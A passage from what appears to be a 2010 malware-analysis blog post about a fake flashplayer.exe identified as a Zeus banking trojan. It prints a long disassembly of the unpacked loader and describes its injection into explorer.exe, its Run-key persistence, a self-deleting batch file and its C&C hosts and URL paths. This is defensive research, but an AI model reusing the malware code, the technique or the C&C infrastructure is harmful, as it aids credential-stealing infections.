PUSH DWORD PTR SS:[EBP+54]\n0089015E   56               PUSH ESI\n0089015F   8BFB             MOV EDI,EBX\n00890161   8BF0             MOV ESI,EAX\n00890163   E8 ED020000      CALL 00890455\n00890168   64:FF35 30000000 PUSH DWORD PTR FS:[30]\n0089016F   58               POP EAX\n00890170   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]\n00890173   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]\n00890176   3958 18          CMP DWORD PTR DS:[EAX+18],EBX\n00890179   74 04            JE SHORT 0089017F\n0089017B   8B00             MOV EAX,DWORD PTR DS:[EAX]\n0089017D  ^EB F7            JMP SHORT 00890176\n0089017F   8B0C24           MOV ECX,DWORD PTR SS:[ESP]\n00890182   0349 3C          ADD ECX,DWORD PTR DS:[ECX+3C]\n00890185   8B71 28          MOV ESI,DWORD PTR DS:[ECX+28]\n00890188   03F7             ADD ESI,EDI\n0089018A   8978 18          MOV DWORD PTR DS:[EAX+18],EDI\n0089018D   8970 1C          MOV DWORD PTR DS:[EAX+1C],ESI\n00890190   66:F741 16 0020  TEST WORD PTR DS:[ECX+16],2000\n00890196   75 0C            JNZ SHORT 008901A4\n00890198   64:A1 18000000   MOV EAX,DWORD PTR FS:[18]\n0089019E   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]\n008901A1   8978 08          MOV DWORD PTR DS:[EAX+8],EDI\n008901A4   FF55 14          CALL DWORD PTR SS:[EBP+14]\n008901A7   5D               POP EBP\n008901A8   C9               LEAVE\n008901A9   897424 1C        MOV DWORD PTR SS:[ESP+1C],ESI\n008901AD   61               POPAD\n008901AE   50               PUSH EAX\n008901AF   E8 51030000      CALL 00890505\n008901B4   58               POP EAX\n008901B5   8178 48 00020000 CMP DWORD PTR DS:[EAX+48],200\n008901BC   75 0F            JNZ SHORT 008901CD\n008901BE   8B0424           MOV EAX,DWORD PTR SS:[ESP]\n008901C1   C70424 00000000  MOV DWORD PTR SS:[ESP],0\n008901C8   FF7424 04        PUSH DWORD PTR SS:[ESP+4]\n008901CC   50               PUSH EAX\n008901CD   33C0             XOR EAX,EAX\n008901CF   C3               RETN\n008901D0   60               PUSHAD\n008901D1   8BF3             MOV ESI,EBX\n008901D3   0376 3C          ADD ESI,DWORD PTR DS:[ESI+3C]\n008901D6   8BB6 80000000    MOV ESI,DWORD PTR DS:[ESI+80]\n008901DC   85F6             TEST ESI,ESI\n008901DE   74 73            JE SHORT 00890253\n008901E0   03F3             ADD ESI,EBX\n008901E2   8B7E 0C          MOV EDI,DWORD PTR DS:[ESI+C]\n008901E5   85FF             TEST EDI,EDI\n008901E7   74 6A            JE SHORT 00890253\n008901E9   03FB             ADD EDI,EBX\n008901EB   57               PUSH EDI\n008901EC   FF55 04          CALL DWORD PTR SS:[EBP+4]\n008901EF   85C0             TEST EAX,EAX\n008901F1   75 04            JNZ SHORT 008901F7\n008901F3   57               PUSH EDI\n008901F4   FF55 00          CALL DWORD PTR SS:[EBP]\n008901F7   50               PUSH EAX\n008901F8   56               PUSH ESI\n008901F9   8B76 10          MOV ESI,DWORD PTR DS:[ESI+10]\n008901FC   03F3             ADD ESI,EBX\n008901FE   8BFE             MOV EDI,ESI\n00890200   AD               LODS DWORD PTR DS:[ESI]\n00890201   85C0             TEST EAX,EAX\n00890203  ^75 FB            JNZ SHORT 00890200\n00890205   2BF7             SUB ESI,EDI\n00890207   8BCE             MOV ECX,ESI\n00890209   5E               POP ESI\n0089020A   51               PUSH ECX\n0089020B   50               PUSH EAX\n0089020C   54               PUSH ESP\n0089020D   6A 04            PUSH 4\n0089020F   51               PUSH ECX\n00890210   57               PUSH EDI\n00890211   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n00890214   56               PUSH ESI\n00890215   8B06             MOV EAX,DWORD PTR DS:[ESI]\n00890217   85C0             TEST EAX,EAX\n00890219   75 03            JNZ SHORT 0089021E\n0089021B   8B46 10          MOV EAX,DWORD PTR DS:[ESI+10]\n0089021E   8D3403           LEA ESI,DWORD PTR DS:[EBX+EAX]\n00890221   57               PUSH EDI\n00890222   AD               LODS DWORD PTR DS:[ESI]\n00890223   85C0             TEST EAX,EAX\n00890225   74 1B            JE SHORT 00890242\n00890227   A9 00000080      TEST EAX,80000000\n0089022C   75 04            JNZ SHORT 00890232\n0089022E   8D4403 02        LEA EAX,DWORD PTR DS:[EBX+EAX+2]\n00890232   25 FFFFFF7F      AND EAX,7FFFFFFF\n00890237   50               PUSH EAX\n00890238   FF7424 14        PUSH DWORD PTR SS:[ESP+14]\n0089023C   FF55 08          CALL DWORD PTR SS:[EBP+8]\n0089023F   AB               STOS DWORD PTR ES:[EDI]\n00890240  ^EB E0            JMP SHORT 00890222\n00890242   5F               POP EDI\n00890243   5E               POP ESI\n00890244   58               POP EAX\n00890245   59               POP ECX\n00890246   54               PUSH ESP\n00890247   50               PUSH EAX\n00890248   51               PUSH ECX\n00890249   57               PUSH EDI\n0089024A   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n0089024D   58               POP EAX\n0089024E   83C6 14          ADD ESI,14\n00890251  ^EB 8F            JMP SHORT 008901E2\n00890253   61               POPAD\n00890254   C3               RETN\n00890255   60               PUSHAD\n00890256   8BD3             MOV EDX,EBX\n00890258   8BF2             MOV ESI,EDX\n0089025A   0376 3C          ADD ESI,DWORD PTR DS:[ESI+3C]\n0089025D   2B56 34          SUB EDX,DWORD PTR DS:[ESI+34]\n00890260   85D2             TEST EDX,EDX\n00890262   0F84 95000000    JE 008902FD\n00890268   8B8E A4000000    MOV ECX,DWORD PTR DS:[ESI+A4]\n0089026E   8BB6 A0000000    MOV ESI,DWORD PTR DS:[ESI+A0]\n00890274   85F6             TEST ESI,ESI\n00890276   0F84 81000000    JE 008902FD\n0089027C   03F3             ADD ESI,EBX\n0089027E   AD               LODS DWORD PTR DS:[ESI]\n0089027F   8BF8             MOV EDI,EAX\n00890281   03FB             ADD EDI,EBX\n00890283   50               PUSH EAX\n00890284   8BC4             MOV EAX,ESP\n00890286   50               PUSH EAX\n00890287   51               PUSH ECX\n00890288   52               PUSH EDX\n00890289   50               PUSH EAX\n0089028A   6A 04            PUSH 4\n0089028C   68 00100000      PUSH 1000\n00890291   57               PUSH EDI\n00890292   83E8 04          SUB EAX,4\n00890295   50               PUSH EAX\n00890296   6A 04            PUSH 4\n00890298   68 00100000      PUSH 1000\n0089029D   57               PUSH EDI\n0089029E   810424 00100000  ADD DWORD PTR SS:[ESP],1000\n008902A5   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008902A8   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008902AB   5A               POP EDX\n008902AC   59               POP ECX\n008902AD   AD               LODS DWORD PTR DS:[ESI]\n008902AE   2BC8             SUB ECX,EAX\n008902B0   51               PUSH ECX\n008902B1   8BC8             MOV ECX,EAX\n008902B3   D1E9             SHR ECX,1\n008902B5   83E9 04          SUB ECX,4\n008902B8   33C0             XOR EAX,EAX\n008902BA   66:AD            LODS WORD PTR DS:[ESI]\n008902BC   66:A9 0030       TEST AX,3000\n008902C0   74 08            JE SHORT 008902CA\n008902C2   25 FF0F0000      AND EAX,0FFF\n008902C7   011407           ADD DWORD PTR DS:[EDI+EAX],EDX\n008902CA  ^E2 EE            LOOPD SHORT 008902BA\n008902CC   59               POP ECX\n008902CD   8D4424 04        LEA EAX,DWORD PTR SS:[ESP+4]\n008902D1   51               PUSH ECX\n008902D2   52               PUSH EDX\n008902D3   50               PUSH EAX\n008902D4   FF30             PUSH DWORD PTR DS:[EAX]\n008902D6   68 00100000      PUSH 1000\n008902DB   57               PUSH EDI\n008902DC   83E8 04          SUB EAX,4\n008902DF   50               PUSH EAX\n008902E0   FF30             PUSH DWORD PTR DS:[EAX]\n008902E2   68 00100000      PUSH 1000\n008902E7   57               PUSH EDI\n008902E8   810424 00100000  ADD DWORD PTR SS:[ESP],1000\n008902EF   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008902F2   FF55 0C          CALL DWORD PTR SS:[EBP+C]\n008902F5   5A               POP EDX\n008902F6   59               POP ECX\n008902F7   58               POP EAX\n008902F8   58               POP EAX\n008902F9   85C9             TEST ECX,ECX\n008902FB  ^75 81            JNZ SHORT 0089027E\n008902FD   61               POPAD\n008902FE   C3               RETN\n008902FF   60               PUSHAD\n00890300   EB 07            JMP SHORT 00890309\n00890302   AD               LODS DWORD PTR DS:[ESI]\n00890303  ^E2 FD            LOOPD SHORT 00890302\n00890305   8D3403           LEA ESI,DWORD PTR DS:[EBX+EAX]\n00890308   C3               RETN\n00890309   8BE8             MOV EBP,EAX\n0089030B   8BF3             MOV ESI,EBX\n0089030D   B9 10000000      MOV ECX,10\n00890312   E8 EBFFFFFF      CALL 00890302\n00890317   B9 1F000000      MOV ECX,1F\n0089031C   E8 E1FFFFFF      CALL 00890302\n00890321   56               PUSH ESI\n00890322   B9 07000000      MOV ECX,7\n00890327   E8 D6FFFFFF      CALL 00890302\n0089032C   8BD0             MOV EDX,EAX\n0089032E   8B3424           MOV ESI,DWORD PTR SS:[ESP]\n00890331   B9 09000000      MOV ECX,9\n00890336   E8 C7FFFFFF      CALL 00890302\n0089033B   8BFE             MOV EDI,ESI\n0089033D   8BCA             MOV ECX,EDX\n0089033F   E8 BEFFFFFF      CALL 00890302\n00890344   33C0             XOR EAX,EAX\n00890346   50               PUSH EAX\n00890347   C1C8 07          ROR EAX,7\n0089034A   C10424 0D        ROL DWORD PTR SS:[ESP],0D\n0089034E   010424           ADD DWORD PTR SS:[ESP],EAX\n00890351   AC               LODS BYTE PTR DS:[ESI]\n00890352   84C0             TEST AL,AL\n00890354  ^75 F1            JNZ SHORT 00890347\n00890356   58               POP EAX\n00890357   8BF7             MOV ESI,EDI\n00890359   3BC5             CMP EAX,EBP\n0089035B   74 03            JE SHORT 00890360\n0089035D   4A               DEC EDX\n0089035E  ^75 DD            JNZ SHORT 0089033D\n00890360   8B3424           MOV ESI,DWORD PTR SS:[ESP]\n00890363   B9 0A000000      MOV ECX,0A\n00890368   E8 95FFFFFF      CALL 00890302\n0089036D   0FB70C56         MOVZX ECX,WORD PTR DS:[ESI+EDX*2]\n00890371   5E               POP ESI\n00890372   51               PUSH ECX\n00890373   B9 08000000      MOV ECX,8\n00890378   E8 85FFFFFF      CALL 00890302\n0089037D   59               POP ECX\n0089037E   E8 7FFFFFFF      CALL 00890302\n00890383   897424 1C        MOV DWORD PTR SS:[ESP+1C],ESI\n00890387   61               POPAD\n00890388   C3               RETN\n00890389   51               PUSH ECX\n0089038A   C1E8 1D          SHR EAX,1D\n0089038D   B9 20000000      MOV ECX,20\n00890392   48               DEC EAX\n00890393   74 30            JE SHORT 008903C5\n00890395   B9 02000000      MOV ECX,2\n0089039A   48               DEC EAX\n0089039B   74 28            JE SHORT 008903C5\n0089039D   B9 20000000      MOV ECX,20\n008903A2   48               DEC EAX\n008903A3   74 20            JE SHORT 008903C5\n008903A5   B9 04000000      MOV ECX,4\n008903AA   48               DEC EAX\n008903AB   74 18            JE SHORT 008903C5\n008903AD   B9 40000000      MOV ECX,40\n008903B2   48               DEC EAX\n008903B3   74 10            JE SHORT 008903C5\n008903B5   B9 04000000      MOV ECX,4\n008903BA   48               DEC EAX\n008903BB   74 08            JE SHORT 008903C5\n008903BD   B9 40000000      MOV ECX,40\n008903C2   48               DEC EAX\n008903C3   74 00            JE SHORT 008903C5\n008903C5   8BC1             MOV EAX,ECX\n008903C7   59               POP ECX\n008903C8   C3               RETN\n008903C9   60               PUSHAD\n008903CA   83EC 18          SUB ESP,18\n008903CD   6A 1C            PUSH 1C\n008903CF   6A 00            PUSH 0\n008903D1   6A 04            PUSH 4\n008903D3   FF55 1C          CALL DWORD PTR SS:[EBP+1C]\n008903D6   8BD8             MOV EBX,EAX\n008903D8   33FF             XOR EDI,EDI\n008903DA   54               PUSH ESP\n008903DB   53               PUSH EBX\n008903DC   FF55 20          CALL DWORD PTR SS:[EBP+20]\n008903DF   033C24           ADD EDI,DWORD PTR SS:[ESP]\n008903E2   54               PUSH ESP\n008903E3   53               PUSH EBX\n008903E4   FF55 24          CALL DWORD PTR SS:[EBP+24]\n008903E7   85C0             TEST EAX,EAX\n008903E9  ^75 F4            JNZ SHORT 008903DF\n008903EB   81FF 500F0000    CMP EDI,0F50\n008903F1   77 01            JA SHORT 008903F4\n008903F3   F1               INT1\n008903F4   8B55 5C          MOV EDX,DWORD PTR SS:[EBP+5C]\n008903F7   81F2 24BD6225    XOR EDX,2562BD24\n008903FD   8B4D 54          MOV ECX,DWORD PTR SS:[EBP+54]\n00890400   8BFE             MOV EDI,ESI\n00890402   837D 44 00       CMP DWORD PTR SS:[EBP+44],0\n00890406   74 03            JE SHORT 0089040B\n00890408   0175 44          ADD DWORD PTR SS:[EBP+44],ESI\n0089040B   8B45 4C          MOV EAX,DWORD PTR SS:[EBP+4C]\n0089040E   85C0             TEST EAX,EAX\n00890410   74 15            JE SHORT 00890427\n00890412   8946 3C          MOV DWORD PTR DS:[ESI+3C],EAX\n00890415   52               PUSH EDX\n00890416   BA 04000000      MOV EDX,4\n0089041B   E8 60000000      CALL 00890480\n00890420   5A               POP EDX\n00890421   03F0             ADD ESI,EAX\n00890423   03F8             ADD EDI,EAX\n00890425   2BC8             SUB ECX,EAX\n00890427   3B75 44          CMP ESI,DWORD PTR SS:[EBP+44]\n0089042A   75 0D            JNZ SHORT 00890439\n0089042C   0375 48          ADD ESI,DWORD PTR SS:[EBP+48]\n0089042F   037D 48          ADD EDI,DWORD PTR SS:[EBP+48]\n00890432   2B4D 48          SUB ECX,DWORD PTR SS:[EBP+48]\n00890435   85C9             TEST ECX,ECX\n00890437   74 13            JE SHORT 0089044C\n00890439   AD               LODS DWORD PTR DS:[ESI]\n0089043A   85C0             TEST EAX,EAX\n0089043C   74 08            JE SHORT 00890446\n0089043E   3BC2             CMP EAX,EDX\n00890440   74 04            JE SHORT 00890446\n00890442   50               PUSH EAX\n00890443   33C2             XOR EAX,EDX\n00890445   5A               POP EDX\n00890446   AB               STOS DWORD PTR ES:[EDI]\n00890447   83E9 03          SUB ECX,3\n0089044A  ^E2 DB            LOOPD SHORT 00890427\n0089044C   53               PUSH EBX\n0089044D   FF55 18          CALL DWORD PTR SS:[EBP+18]\n00890450   83C4 1C          ADD ESP,1C\n00890453   61               POPAD\n00890454   C3               RETN\n00890455   66:33F6          XOR SI,SI\n00890458   66:BA 4D5A       MOV DX,5A4D\n0089045C   66:AD            LODS WORD PTR DS:[ESI]\n0089045E   66:33D0          XOR DX,AX\n00890461   74 08            JE SHORT 0089046B\n00890463   81EE 02100000    SUB ESI,1002\n00890469  ^EB ED            JMP SHORT 00890458\n0089046B   8D5E FE          LEA EBX,DWORD PTR DS:[ESI-2]\n0089046E   8B76 3A          MOV ESI,DWORD PTR DS:[ESI+3A]\n00890471   66:BA 5045       MOV DX,4550\n00890475   8D341E           LEA ESI,DWORD PTR DS:[ESI+EBX]\n00890478   66:AD            LODS WORD PTR DS:[ESI]\n0089047A   66:33D0          XOR DX,AX\n0089047D  ^75 E4            JNZ SHORT 00890463\n0089047F   C3               RETN\n00890480   51               PUSH ECX\n00890481   33C9             XOR ECX,ECX\n00890483   41               INC ECX\n00890484   2BC2             SUB EAX,EDX\n00890486   78 04            JS SHORT 0089048C\n00890488   74 02            JE SHORT 0089048C\n0089048A  ^EB F7            JMP SHORT 00890483\n0089048C   33C0             XOR EAX,EAX\n0089048E   03C2             ADD EAX,EDX\n00890490  ^E2 FC            LOOPD SHORT 0089048E\n00890492   59               POP ECX\n00890493   C3               RETN\n00890494   60               PUSHAD\n00890495   8B7424 20        MOV ESI,DWORD PTR SS:[ESP+20]\n00890499   FF55 38          CALL DWORD PTR SS:[EBP+38]\n0089049C   50               PUSH EAX\n0089049D   6A 00            PUSH 0\n0089049F   6A 10            PUSH 10\n008904A1   FF55 3C          CALL DWORD PTR SS:[EBP+3C]\n008904A4   50               PUSH EAX\n008904A5   6A 00            PUSH 0\n008904A7   68 0B050000      PUSH 50B\n008904AC   56               PUSH ESI\n008904AD   83C6 02          ADD ESI,2\n008904B0   56               PUSH ESI\n008904B1   50               PUSH EAX\n008904B2   FF55 40          CALL DWORD PTR SS:[EBP+40]\n008904B5   C2 004D          RETN 4D00\n008904B8   4D               DEC EBP\n008904B9   FF55 18          CALL DWORD PTR SS:[EBP+18]\n008904BC   896C24 08        MOV DWORD PTR SS:[ESP+8],EBP\n008904C0   61               POPAD\n008904C1   C3               RETN\n008904C2   8B7D 54          MOV EDI,DWORD PTR SS:[EBP+54]\n008904C5   6A 04            PUSH 4\n008904C7   68 00100000      PUSH 1000\n008904CC   57               PUSH EDI\n008904CD   6A 00            PUSH 0\n008904CF   FF55 10          CALL DWORD PTR SS:[EBP+10]\n008904D2   8BF0             MOV ESI,EAX\n008904D4   81EC 04010000    SUB ESP,104\n008904DA   8BFC             MOV EDI,ESP\n008904DC   68 04010000      PUSH 104\n008904E1   57               PUSH EDI\n008904E2   53               PUSH EBX\n008904E3   FF55 28          CALL DWORD PTR SS:[EBP+28]\n008904E6   6A 00            PUSH 0\n008904E8   68 80000000      PUSH 80\n008904ED   6A 03            PUSH 3\n008904EF   6A 00            PUSH 0\n008904F1   6A 01            PUSH 1\n008904F3   68 00000080      PUSH 80000000\n008904F8   57               PUSH EDI\n008904F9   FF55 2C          CALL DWORD PTR SS:[EBP+2C]\n008904FC   81C4 04010000    ADD ESP,104\n00890502   C3               RETN\n00890503   90               NOP\n00890504   90               NOP\n00890505   58               POP EAX\n00890506   FFD0             CALL EAX\n00890508   FB               STI\n00890509   D4 A2            AAM 0A2\n0089050B   61               POPAD\n0089050C   8A3C04           MOV BH,BYTE PTR SS:[ESP+EAX]\n0089050F   4D               DEC EBP\n00890510   4D               DEC EBP\n00890511   B8 AFCCDD3B      MOV EAX,3BDDCCAF\n00890516   99               CDQ\n00890517   8620             XCHG BYTE PTR DS:[EAX],AH\n00890519   8C48 62          MOV WORD PTR DS:[EAX+62],CS\n0089051C   E1 72            LOOPDE SHORT 00890590\n0089051E   D91B             FSTP DWORD PTR DS:[EBX]\n00890520  ^E0 BC            LOOPDNE SHORT 008904DE\n00890522   DE6C9B AE        FISUBR WORD PTR DS:[EBX+EBX*4-52]\n00890526   9C               PUSHFD\n00890527   D4 D0            AAM 0D0\n00890529   2392 301A98BA    AND EDX,DWORD PTR DS:[EDX+BA981A30]\n0089052F  ^73 C0            JNB SHORT 008904F1\n00890531   2349 9C          AND ECX,DWORD PTR DS:[ECX-64]\n00890534   D86D AD          FSUBR DWORD PTR SS:[EBP-53]\n00890537   17               POP SS                                   ; Modification of segment register\n00890538   FEC9             DEC CL\n0089053A   AA               STOS BYTE PTR ES:[EDI]\n0089053B   8546 6C          TEST DWORD PTR DS:[ESI+6C],EAX\n0089053E   9A 2908830B A758 CALL FAR 58A7:0B830829                   ; Far call\n00890545   64:2F            DAS                                      ; Superfluous prefix\n00890547   1106             ADC DWORD PTR DS:[ESI],EAX\n00890549   C2 9950          RETN 5099<\/pre>\n<p>Eventually, a jump to this code is being made.&#160; (0x00890000)<\/p>\n<p>In this code, the following things happen :<\/p>\n<ul>\n<li>Get baseaddress of kernel32.dll <\/li>\n<li>Get function ptrs to LoadLibraryA, GetModuleHandleA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, CloseHandle, CreateToolhelp32snapshot, Thread32First, Thread32Next, GetModuleFileNameA, CreateFileA, SetFilePointer, ReadFile, GetCurrentProcessId, OpenProcess, ReadProcessMemory <\/li>\n<li>Get the current process ID call OpenProcess(), and call ReadProcessMemory() <\/li>\n<li>Perform another VirtualAlloc <\/li>\n<li>call GetModuleFileNameA (of kernel32.dll) and call CreateFileA (on kernel32.dll) (GENERIC_READ) <\/li>\n<li>call setFilePointer, ReadFile and CloseHandle() <!--EndFragment--><\/li>\n<li>call GetModuleFileNameA (of flashplayer.exe) and call CreateFileA (read the flashplayer executable) (GENERIC_READ) <\/li>\n<li>call setFilePointer, ReadFile and CloseHandle() <\/li>\n<li>call CreateToolhelp32Snapshot, Thread32First, Thread32Next and CloseHandle() <\/li>\n<li>call VirtualAlloc (ReadWrite, size 0) and VirtualProtect (Page_ReadWrite), 0x400 bytes) <\/li>\n<li>\u2026&#160; (take a look yourself \ud83d\ude42 ) <\/li>\n<\/ul>\n<p>Basically, it injects code into explorer.exe and binds a socket to a random local port . <a href=\"http:\/\/drop.io\/blackmanta\" target=\"_blank\" rel=\"noopener\">BlackManta<\/a> (a PyCommand for Immunity Debugger) reports this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Send \/ Recv of infected explorer.exe:\n++++++++++++++++++++++++++++++++++++\n\nSend Buf Recv Buf\n\nrecv: s = &quot;0x00000720&quot;, buf = &quot;0x0146feae&quot;, bufLen = &quot;0x00000001&quot;, flags = &quot;0x00000000&quot; \n\naccept (\ns = &quot;0x000003c8&quot; \naddr = &quot;0x00000000&quot; \naddrlen = &quot;0x00000000&quot; \n)\n\nrecv: s = &quot;0x000002d8&quot;, buf = &quot;0x0146feae&quot;, bufLen = &quot;0x00000001&quot;, flags = &quot;0x00000000&quot; \n\naccept (\ns = &quot;0x000003c8&quot; \naddr = &quot;0x00000000&quot; \naddrlen = &quot;0x00000000&quot; \n)\n\nrecv: s = &quot;0x00000724&quot;, buf = &quot;0x0146feae&quot;, bufLen = &quot;0x00000001&quot;, flags = &quot;0x00000000&quot; \n\naccept (\ns = &quot;0x000003c8&quot; \naddr = &quot;0x00000000&quot; \naddrlen = &quot;0x00000000&quot; \n)<\/pre>\n<p>When sending data to the local port, the connection was interrupted right away.<\/p>\n<p>It permanently infects the machine (in our sample, it writes a jpg file and renames it to voel.exe,but the name is totally random) by adding an entry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, pointing to the exe file. In the screenshot below, the file is called otdo.exe (but I'll continue to refer to voel.exe, to indicate the file that gets created by the infection)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image73.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb72.png\" width=\"712\" height=\"178\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image74.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb73.png\" width=\"273\" height=\"104\" \/><\/a><\/p>\n<p>It also creates an entry under HKEY_CURRENT_USER\\Software\\Microsoft (again, random name) :<\/p>\n<p>&#160;<a href=\"\/wp-content\/uploads\/2010\/11\/image75.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb74.png\" width=\"705\" height=\"241\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<p>The executable that is dropped onto the machine appears to display similar behaviour as &quot;flashplayer.exe - it attempts to set up a connection to a C&amp;C server and exchanges information.&#160; Antivirus analysis of the .exe reports this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">File name:\nvoel.exe\nSubmission date:\n2010-11-18 23:14:51 (UTC)\nCurrent status:\nqueued (#5) queued analysing finished\nResult:\n8\/ 43 (18.6%)\n\nBitDefender 7.2 2010.11.18 Gen:Variant.Kazy.3578\nDrWeb 5.0.2.03300 2010.11.18 Trojan.DownLoader.origin\nF-Secure 9.0.16160.0 2010.11.18 Gen:Variant.Kazy.3578\nGData 21 2010.11.18 Gen:Variant.Kazy.3578\nNOD32 5631 2010.11.18 a variant of Win32\/Kryptik.IGD\nPanda 10.0.2.7 2010.11.18 Suspicious file\nPrevx 3.0 2010.11.19 Medium Risk Malware\nSophos 4.59.0 2010.11.18 Mal\/Zbot-AN<\/pre>\n<p>When the flashplayer payload ends, it attempts to cleans up by creating &amp; executing a batchfile, which removes the flashplayer.exe executable and the batch file itself. <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">@echo off\n:d\ndel &quot;V:\\price\\flashplayer1.exe&quot;\nif exist &quot;V:\\price\\flashplayer1.exe&quot; goto d\ndel \/F &quot;C:\\DOCUME~1\\peter\\LOCALS~1\\Temp\\tmp5f240451.bat&quot;<\/pre>\n<p>So at this point, the machine is infected, and a file is dropped on the box (random name, stored in C:\\Documents and Settings\\&lt;username&gt;\\Application Data).&#160; We have noticed that the infected explorer.exe process touches the executable on a regular basis. We are still documenting why it does that, and what it does exactly.<\/p>\n<p>Next to the .exe file, a new folder (random filename) is created under &quot;Application Data&quot; as well, and a file &lt;random&gt;.iqm is created.<\/p>\n<p>To make things a bit more interesting, we decided to infect a few of our own boxes on purpose, and see what happens as the hacker\/botnet\/worm\u2026 accesses our boxes.&#160; And yes, we had our sniffers all set.&#160; We noticed some packets that included this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0000 52 54 00 12 35 02 08 00 27 49 83 43 08 00 45 00 RT..5...'I.C..E.\n0010 01 09 54 1e 40 00 80 06 f1 6e 0a 00 03 0f c9 08 ..T.@....n......\n0020 de 4a 04 d5 00 50 f7 b3 b4 c9 07 65 8e 02 50 18 .J...P.....e..P.\n0030 fa f0 d9 8b 00 00 47 45 54 20 2f 70 61 6e 65 6c ......GET \/panel\n0040 33 2f 70 70 6e 6c 33 2e 62 69 6e 20 48 54 54 50 3\/ppnl3.bin HTTP\n0050 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f \/1.1..Accept: *\/\n0060 2a 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 *..Connection: C\n0070 6c 6f 73 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 lose..User-Agent\n0080 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla\/4.0 (c\n0090 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE \n00a0 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 8.0; Windows NT \n00b0 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 5.1; Trident\/4.0\n00c0 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 ; .NET CLR 2.0.5\n00d0 30 37 32 37 29 0d 0a 48 6f 73 74 3a 20 48 4b 4e 0727)..Host: HKN\n00e0 57 63 39 6e 63 4d 45 68 51 62 4c 43 43 79 66 4c Wc9ncMEhQbLCCyfL\n00f0 72 4d 39 4e 4b 52 2e 6e 65 74 0d 0a 43 61 63 68 rM9NKR.net..Cach\n0100 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 e-Control: no-ca\n0110 63 68 65 0d 0a 0d 0a che....<\/pre>\n<p>Based on the calls made to \/panel3\/ppnl3.bin and to \/panel3\/gotobank.php (https:\/\/zeustracker.abuse.ch\/monitor.php?host=blindwife.net)&#160; it looks like this is <a href=\"http:\/\/searchsecurity.techtarget.com\/tip\/0,289483,sid14_gci1514783,00.html\" target=\"_blank\" rel=\"noopener\">Zeus<\/a>\u2026<\/p>\n<blockquote>\n<p>Despite the fact that Zeus has been around for quite some time, AV vendors are still not able to pick it up (most likely because Zeus = business = money = smart)<\/p>\n<\/blockquote>\n<p>procmon reports this when voel.exe executes :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image72.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb71.png\" width=\"615\" height=\"558\" \/><\/a><\/p>\n<p>(You can download the entire procmon file here :<a href=\"http:\/\/web.archive.org\/web\/20111211034833\/http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files\">http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files<\/a> )<\/p>\n<p>Apparently, voel.exe connects to a C&amp;C server, attempts to downloads .bin files.&#160; It first tries to resolve google.com \/ fryloop.net and then initiates the outbound connections. On some systems it connected right away, on other systems, we did not see outbound connections, so perhaps it's using a random delay before connecting.<\/p>\n<p>We also discovered that, if you remove voel.exe from your system &amp; reboot, the system does not &quot;phone home&quot; 